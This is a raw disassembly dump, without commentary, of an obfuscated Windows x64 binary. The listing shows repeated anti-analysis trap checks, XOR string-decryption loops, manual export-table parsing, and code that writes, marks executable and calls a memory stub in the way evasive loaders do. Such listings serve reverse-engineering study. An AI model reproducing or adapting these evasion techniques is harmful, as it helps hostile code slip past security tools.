xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ceaf
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ceaf
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cecf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
call fcn.140086f30
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.1400291d8
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001cf99
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cf79
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cf79
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cf99
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d043
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d023
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d023
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d043
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d0ed
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d0cd
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d0cd
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d0ed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d197
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d177
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d177
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d197
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d241
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d221
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d221
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d241
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d303
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d2e3
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d2e3
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d303
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d3ad
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d38d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d38d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d3ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140028770
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d47f
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d45f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d45f
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d47f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14001d78d
xor r14d, r14d
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d53b
mov rax, qword gs:[0x12]
mov ecx, 0x603ef84
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d84e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d84e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14001d84e
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.1400185e8
mov r15d, eax
mov rcx, qword gs:[8]
cmp rcx, rsi
jne 0x14001d5fa
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14001d86e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14001d86e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14001d86e
test r15d, r15d
jne 0x14001d8ce
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d6a3
mov rax, qword gs:[0x12]
movabs rcx, 0x8d5b3c2ae1c0860
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14001d88e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14001d88e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14001d88e
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001d76a
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14001d8ae
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14001d8ae
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14001d8ae
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14001d4a0
xor r15d, r15d
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x1400275d6
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d82e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d82e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400275d6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14008def8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xd153fabe
mov dword [rbp + 0x214], 0x653223ed
mov dword [rbp + 0x218], 0xbca7b6b9
mov word [rbp + 0x21c], 0x41
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x10563b41a
movabs r9, 0xd4610255f
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1a8c204abe
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x210]
xor dil, r8b
mov byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x14001d971
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xe06bef7e
mov dword [rbp + 0x84], 0xb0073ca3
mov word [rbp + 0x88], 0xe3
mov r8, r14
movabs r9, 0x9308154f3
mov r10d, 9
movabs r11, 0x126102a9e6
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14001da17
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001dca0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001dca0
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001dca0
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001dca0
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001dca0
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001db12
inc rax
test edi, edi
jne 0x14001dafd
test r8d, r8d
je 0x14001db24
inc rdx
cmp rdx, rsi
jb 0x14001daec
jmp 0x14001dca0
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001dca0
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14001dc9d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140086f30
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.1400291d8
lea rcx, [rbp + 0x7420]
call fcn.140028770
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140028770
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001dbb2
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400b09b0
mov dword [0x1400e6064], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400e6060]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e6068]
mov word [rdi + 8], ax
mov al, byte [0x1400e606a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b1050
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e6064], r14d
test edi, edi
js 0x14001dcb3
jmp 0x14001dca0
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14001dcc9
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.1400180b0
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x11b6e372
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[8]
ja 0x140027247
cmp rax, rbx
jne 0x14001dd8b
mov rax, qword gs:[0x12]
mov esi, 0x603ef84
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dd6b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dd6b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001dd8b
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d50f0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400d5160]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x4f093b18
mov word [rbp + 0xbc4], 0x450d
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x10563b41a
movabs r9, 0x26ccccbc02
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x4d99997804
cmp r9, rax
jb 0x14001ddeb
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14000822c
mov rax, qword gs:[8]
cmp rax, rbx
mov esi, 0x603ef84
movabs r15, 0x8d5b3c2ae1c0860
jne 0x14001df1e
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001defe
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001defe
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001df1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
call fcn.140018310
mov rcx, qword gs:[8]
test al, al
jne 0x14001e2b2
cmp rcx, rbx
jne 0x14001dfd5
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001dfb5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001dfb5
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001dfd5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], reloc.WLDAP32.dll_Ordinal_45
mov r10, r14
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x115b9ef5cb
movabs r9, 0x22b73deb96
movabs r13, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001e01f
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400d5080]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400d4dd0]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_33
movabs r10, 0x1fa712cf45
movabs r15, 0x3f4e259e8a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r15
jb 0x14001e0c0
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[8]
cmp rax, rbx
movabs r15, 0x8d5b3c2ae1c0860
jne 0x14001e204
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e1e4
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e1e4
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e204
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rbx
jne 0x140027bc5
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e292
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e292
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027bc5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
cmp rcx, rbx
jne 0x14001e353
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e333
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e333
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e353
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4fe0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x10563b41a
movabs r9, 0x10563b41b0
lea r10d, [rax + 0x10]
movabs r11, 0x20ac768360
movabs r15, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x248]
xor dil, r8b
mov byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x14001e39a
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140018100
mov rax, qword gs:[8]
cmp rax, rbx
mov esi, 0x603ef84
jne 0x14001e4c1
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001e4a1
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001e4a1
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001e4c1
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14001e65a
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], reloc.WLDAP32.dll_Ordinal_45
mov r10, r14
movabs rbx, 0x10563b41a
movabs r8, 0x115b9ef5cb
lea r11d, [rax + 0x11]
movabs r9, 0x22b73deb96
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
